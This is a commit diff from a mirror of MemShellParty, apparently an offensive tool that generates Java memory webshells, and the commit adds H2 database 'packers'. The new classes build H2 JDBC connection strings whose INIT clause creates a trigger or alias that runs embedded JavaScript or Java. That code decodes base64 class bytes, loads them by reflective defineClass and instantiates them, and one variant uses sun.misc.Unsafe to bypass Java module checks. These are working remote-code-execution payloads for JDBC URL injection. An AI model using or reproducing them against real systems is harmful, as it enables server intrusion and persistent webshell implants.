mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support H2 packer
This commit is contained in:
@@ -15,6 +15,9 @@ import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.h2.H2JSPacker;
|
||||
import com.reajason.javaweb.packer.h2.H2JavacPacker;
|
||||
import com.reajason.javaweb.packer.h2.H2Packer;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||
@@ -125,6 +128,10 @@ public enum Packers {
|
||||
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||
|
||||
H2(new H2Packer()),
|
||||
H2Javac(new H2JavacPacker(), H2Packer.class),
|
||||
H2JS(new H2JSPacker(), H2Packer.class),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.h2;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/28
|
||||
*/
|
||||
public class H2JSPacker implements Packer {
|
||||
String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n{{script}}$$";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script.replaceAll(";", "\\\\;"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package com.reajason.javaweb.packer.h2;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/28
|
||||
*/
|
||||
public class H2JavacPacker implements Packer {
|
||||
String template = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||
"String a(String a) throws java.lang.Throwable{" +
|
||||
"byte[] bytes=null\\;" +
|
||||
"String base64Str=\"{{base64Str}}\"\\;" +
|
||||
"try {\n" +
|
||||
" bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||
"} catch (java.lang.Throwable var6) {\n" +
|
||||
" bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
|
||||
"}" +
|
||||
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||
"defMethod.setAccessible(true)\\;" +
|
||||
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||
"myclass.newInstance()\\;" +
|
||||
"return null\\;" +
|
||||
"}'\\;" +
|
||||
"CALL look('')";
|
||||
String bypassTemplate = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||
"String a(String a) throws java.lang.Throwable{" +
|
||||
"String base64Str=\"{{base64Str}}\"\\;" +
|
||||
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||
"try {" +
|
||||
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
|
||||
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
|
||||
" unsafeField.setAccessible(true)\\;" +
|
||||
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
|
||||
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
|
||||
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
|
||||
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
|
||||
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
|
||||
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
|
||||
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
|
||||
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
|
||||
"} catch (Throwable e) {}" +
|
||||
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||
"defMethod.setAccessible(true)\\;" +
|
||||
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||
"myclass.newInstance()\\;" +
|
||||
"return null\\;" +
|
||||
"}'\\;" +
|
||||
"CALL look('')";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
if (config.isByPassJavaModule()) {
|
||||
return bypassTemplate.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
return template.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.packer.h2;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/28
|
||||
*/
|
||||
public class H2Packer implements AggregatePacker {
|
||||
|
||||
}
|
||||
+1
-1
@@ -27,7 +27,7 @@ public class ScriptEnginePacker implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return jsTemplate.replace("{{className}}", config.getClassName())
|
||||
return jsTemplate
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
||||
.replace("\n", "")
|
||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
package com.reajason.javaweb.packer.h2;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/28
|
||||
*/
|
||||
class H2JSPackerTest {
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
H2JSPacker h2JSPacker = new H2JSPacker();
|
||||
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||
classPackerConfig.setClassBytesBase64Str("bebe");
|
||||
System.out.println(h2JSPacker.pack(classPackerConfig));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user